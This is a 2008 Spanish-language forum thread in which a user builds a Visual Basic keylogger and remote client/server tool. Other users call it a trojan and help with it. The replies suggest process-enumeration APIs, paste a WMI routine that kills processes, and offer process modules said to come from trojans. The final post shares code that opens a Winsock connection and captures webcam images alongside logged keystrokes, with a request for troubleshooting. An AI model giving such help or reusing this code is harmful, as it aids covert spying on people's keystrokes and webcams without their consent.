 Autor
|
Tema: keylogger visual basic (Leído 11,715 veces)
|
elguast
 Desconectado
Mensajes: 110
|
buenas noches gracias a todos por contestar  saludos. 
|
|
|
|
|
En línea
|
|
|
|
elguast
Desconectado
Mensajes: 110
|
quiero que mi cliente me muestre los procesos del administrador de tareas de el servidor..como?
|
|
|
|
« Última modificación: 29 Noviembre 2008, 19:45 pm por elguast »
|
En línea
|
|
|
|
|
seba123neo
|
si queres te hacemos el troyano desde 0 y vos le pones los controles nomas...  |
|
|
|
|
En línea
|
|
|
|
elguast
Desconectado
Mensajes: 110
|
pues seba123neo seria lo mejor no asin no pienso yo tanto no..  es broma no te enfades hombre.. lo que queria preguntar era con que funcion seria para ver los procesos,no preguntaba como se hace ni como hay que poner el code ni donde. saludos... |
|
|
|
|
En línea
|
|
|
|
|
seba123neo
|
bueno si es asi si, busca sobre la api llamada CreateToolhelp32Snapshot o la mas conocida EnumProcesses,o hasta con WMI lo podes hacer...en internet hay varios ejemplos de esto, sino bajate el api-guide ahi tenes ejemplos ya creados de todas las api's...
saludos.
|
|
|
|
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
mira, esta funcion se encaarga de finalizar un proceso especifico, para esto hace una lista de los procesos, y va comparando uno a uno, si en caso es el solicitado lo finaliza. Ahora tu encargate de meterlo eso a una cadena y luego recuperas los valores con split; es bien facil; ya no lo hago para que mas que sea hagas algo. Si no sabes como hacerlo, te recomiendo que leas un BUEN MANUAL DE VISUAL BASIC antes de empezar a querer hacer un software. De paso busca manuales y ejercicios de algoritmos, te servira mucho. byes Public Sub KillProcess(ByVal processName As String) '---CAPTURA DE ERROR--- On Error GoTo ErrHandler '---------------------- '---DECLARACIÓN DE VARIABLES--- Dim oWMI Dim ret Dim sService Dim oWMIServices Dim oWMIService Dim oServices Dim oService Dim servicename '------------------------------ '--------------------SE OBTIENEN OBJETOS-------------------- Set oWMI = GetObject("winmgmts:") Set oServices = oWMI.InstancesOf("win32_process") '----------------------------------------------------------- '----------------------BUSCA EL PROCESO--------------------- For Each oService In oServices servicename = LCase(Trim(CStr(oService.Name) & "")) If InStr(1, servicename, _ LCase(processName), vbTextCompare) > 0 Then ret = oService.Terminate End If Next '----------------------------------------------------------- '---------SE HACE NADA--------- Set oServices = Nothing Set oWMI = Nothing '------------------------------ '---CAPTURA DE ERROR---- ErrHandler: Err.Clear '----------------------- End Sub
PD: la funcion no la hize yo, no recuerdo el autor. |
|
|
|
|
En línea
|
|
|
|
ricardovinzo
Desconectado
Mensajes: 135
P.T.C
|
aqui te dejo unos modulos (2) sobre eso.. uno usa puro APIs (es mejor mas avanzado, aunque hay APIs de ese modulo que son detectadas) y el otro usa WMI, este modulo esta como en tres foros del internet yo lo saco de la fuente original no son mios.. mLitleProcManager para trabajar con procesos...Modulo para procesos mProcessManagery mas tarde ( para rematar ) te subo un modulo para manejar procesos o mejor dos, uno de un troyano y otro de otroxD.. Espero te sirvan de ejemplo!  |
|
|
|
|
En línea
|
3# Convocacion de Moderadores en Code Makers, entra! |
|
|
gulabyte
Desconectado
Mensajes: 97
|
Creo que te has ido un poco del tema "elguast", si quieres preguntar sobre otra cosa ponlo en otro tema simplemente.
Podrías usa los comandos de la shell: "tasklist" para listar lo procesos y "taskkill" para matarlos... es mucho mas simple aunque mas chapuzero...
Salu10
|
|
|
|
|
En línea
|
|
|
|
elguast
Desconectado
Mensajes: 110
|
buenos dias mirar pongo mi keylogger me va de maravilla pero cuando pongo este codigo para capturar la imagen de la cam me entonces las teclas pulsadas si escribo un poco deprisa no las veo esto lo he puesto en el form_load:
Command1.Caption = "Conectar"
Text1.Text = "127.0.0.1"
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer2.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer2.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If
se que es por estas dos lineas:
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
como lo arreglaria
|
|
|
|
« Última modificación: 1 Diciembre 2008, 14:05 pm por elguast »
|
En línea
|
|
|
|
|
 |
